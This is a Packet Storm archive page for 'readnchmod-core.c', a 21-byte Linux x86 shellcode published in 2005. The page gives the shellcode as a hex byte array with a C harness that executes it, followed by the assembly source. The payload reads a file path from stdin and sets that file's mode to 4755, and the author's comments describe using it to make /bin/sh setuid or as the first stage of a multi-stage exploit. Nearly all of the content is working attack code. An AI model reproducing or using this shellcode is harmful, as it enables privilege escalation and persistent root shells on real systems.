what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

readnchmod-core.c

readnchmod-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

read and chmod shellcode for Linux x86. readnchmod-core.s is appended.

tags | x86, shellcode
systems | linux
SHA-256 | 5cd6262dd473ef3cfd822593dd79d775204a412f232377a407335a80515dd956

readnchmod-core.c

Change Mirror Download
/* readnchmod-core.c by Charles Stevenson <core@bokeoa.com> 
*
* Example of strace output if you pass in "/bin/sh\x00"
* read(0, "/bin/sh\0", 2541) = 8
* chmod("/bin/sh", 04755) = 0
*
* Any file path can be given. For example: /tmp/.sneakyguy
* The only caveat is that the string must be NULL terminated.
* This shouldn't be a problem. For multi-stage payloads send
* in this first and then you can send it data with null bytes.
* I made this for rare cases with tight space contraints and
* where read() jmp *%esp is not practical.
*
*/
char hellcode[] = /* read(0,buf,2541); chmod(buf,4755); linux/x86 by core */
"\x31\xdb"// xor %ebx,%ebx
"\xf7\xe3"// mul %ebx
"\x53"// push %ebx
"\xb6\x09"// mov $0x9,%dh
"\xb2\xed"// mov $0xed,%dl
"\x89\xe1"// mov %esp,%ecx
"\xb0\x03"// mov $0x3,%al
"\xcd\x80"// int $0x80
"\x89\xd1"// mov %edx,%ecx
"\x89\xe3"// mov %esp,%ebx
"\xb0\x0f"// mov $0xf,%al
"\xcd\x80"// int $0x80
;

int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte read(0,buf,2541); chmod(buf,4755); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}

#;21 bytes read from stdin and chmod 4755
#;by Charles Stevenson <core@bokeoa.com>
#;read(0, ./ABCDEFGH"./ABCDEFGH", 2541)
#;chmod("./ABCDEFGH", 04755)
.globl main
main:
xor %ebx,%ebx
mul %ebx
push %ebx # NULL terminate and stdin
movb $0x9,%dh # 2541 count for read
movb $0xed,%dl # and 4755 chmod mode
mov %esp,%ecx # char *
movb $0x3,%al # read(0,esp,2541)
int $0x80
mov %edx,%ecx
mov %esp,%ebx # char *
movb $0xf,%al # chmod(esp,4755)
int $0x80

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close